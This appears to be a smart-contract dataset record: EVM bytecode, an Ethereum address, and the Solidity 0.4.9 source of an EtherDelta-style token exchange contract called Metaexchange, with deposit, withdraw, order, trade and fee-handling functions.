7a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116dc57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561173857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117a457600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361185985611ba1565b5050505050565b600061186d848484611e24565b905061187881611683565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561191f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561197957600080fd5b600092505b600380549050831015611a64578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119b157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a575783600384815481101515611a0957fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a64565b828060010193505061197e565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611bfc57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c6757600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611c9757600080fd5b611ca086610f82565b15611e1c57600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d7f5780601f10611d5457610100808354040283529160200191611d7f565b820191906000526020600020905b815481529060010190602001808311611d6257829003601f168201915b505091505060006040518083038185876187965a03f19250505015611dd057857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e1b565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e4d57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f0c929190611ff6565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611f9d57818360005260206000209182019101611f9c9190612076565b5b505050565b815481835581811511611fc957818360005260206000209182019101611fc89190612076565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203757805160ff1916838001178555612065565b82800160010185558215612065579182015b82811115612064578251825591602001919060010190612049565b5b5090506120729190612076565b5090565b61209891905b8082111561209457600081600090555060010161207c565b5090565b905600a165627a7a7230582015daf0668c6c365fc0ec00154b4ec157c9411ea025d6e5cb357b6f3a8233b3930029
|
{"success": true, "error": null, "results": {}}
| 5,310 |
0x2b7932875085330b421b0af9f6b237bfe02f5e5f
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract Metaexchange is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function Metaexchange(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19b14a146101665780630b9276661461024457806319774d43146102cf578063278b8c0e146103345780632e1a7d4d146103e8578063338b5dea1461041557806346be96c314610462578063508493bc1461054a57806354d03b5c146105c157806357786394146105ee5780635e1d7ae41461061957806365e17c9d146106465780636c86888b1461069d57806371ffcb16146107b3578063731c2f81146107f65780638823a9c0146108215780638f2839701461084e5780639e281a9814610891578063bb5f4629146108de578063c281309e14610947578063d0e30db014610972578063e8f6bc2e1461097c578063f3412942146109bf578063f7888aec14610a16578063f851a44014610a8d578063fb6e155f14610ae4575b34801561016057600080fd5b50600080fd5b34801561017257600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050610bcc565b005b34801561025057600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506110e1565b005b3480156102db57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611380565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506113a5565b005b3480156103f457600080fd5b50610413600480360381019080803590602001909291905050506117cd565b005b34801561042157600080fd5b50610460600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4c565b005b34801561046e57600080fd5b50610534600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611dba565b6040518082815260200191505060405180910390f35b34801561055657600080fd5b506105ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f5f565b6040518082815260200191505060405180910390f35b3480156105cd57600080fd5b506105ec60048036038101908080359060200190929190505050611f84565b005b3480156105fa57600080fd5b50610603611ff8565b6040518082815260200191505060405180910390f35b34801561062557600080fd5b5061064460048036038101908080359060200190929190505050611ffe565b005b34801561065257600080fd5b5061065b61207e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106a957600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120a4565b604051808215151515815260200191505060405180910390f35b3480156107bf57600080fd5b506107f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612167565b005b34801561080257600080fd5b5061080b612206565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b5061084c6004803603810190808035906020019092919050505061220c565b005b34801561085a57600080fd5b5061088f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061228c565b005b34801561089d57600080fd5b506108dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061232a565b005b3480156108ea57600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506126ed565b604051808215151515815260200191505060405180910390f35b34801561095357600080fd5b5061095c61271c565b6040518082815260200191505060405180910390f35b61097a612722565b005b34801561098857600080fd5b506109bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b3480156109cb57600080fd5b506109d4612995565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2257600080fd5b50610a77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129bb565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2612a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af057600080fd5b50610bb6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050612a67565b6040518082815260200191505060405180910390f35b60006002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015610cde573d6000803e3d6000fd5b5050506040513d6020811015610cf357600080fd5b81019080805190602001909291905050509050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1680610e6757508573ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015610e45573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015610e735750874311155b8015610ee057508a610edd600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000205484612e3d565b11155b1515610eeb57600080fd5b610ef98c8c8c8c8a87612e67565b610f5b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000205483612e3d565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e868e02811515610fe857fe5b048a33604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1505050505050505050505050565b6000600230888888888888604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156111f3573d6000803e3d6000fd5b5050506040513d602081101561120857600080fd5b810190808051906020019092919050505090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8587878787878733604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390a150505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60006002308b8b8b8b8b8b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156114b7573d6000803e3d6000fd5b5050506040513d60208110156114cc57600080fd5b81019080805190602001909291905050509050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff168061164057503373ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561161e573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b151561164b57600080fd5b88600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b08a8a8a8a8a8a338b8b8b604051808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019a505050505050505050505060405180910390a150505050505050505050565b80600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561184057600080fd5b6118b0600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561195157600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b60008273ffffffffffffffffffffffffffffffffffffffff161415611a7057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d6020811015611b7157600080fd5b81019080805190602001909291905050501515611b8d57600080fd5b611c13600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612e3d565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000806002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015611ecd573d6000803e3d6000fd5b5050506040513d6020811015611ee257600080fd5b81019080805190602001909291905050509050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008260001916600019168152602001908152602001600020549150509a9950505050505050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101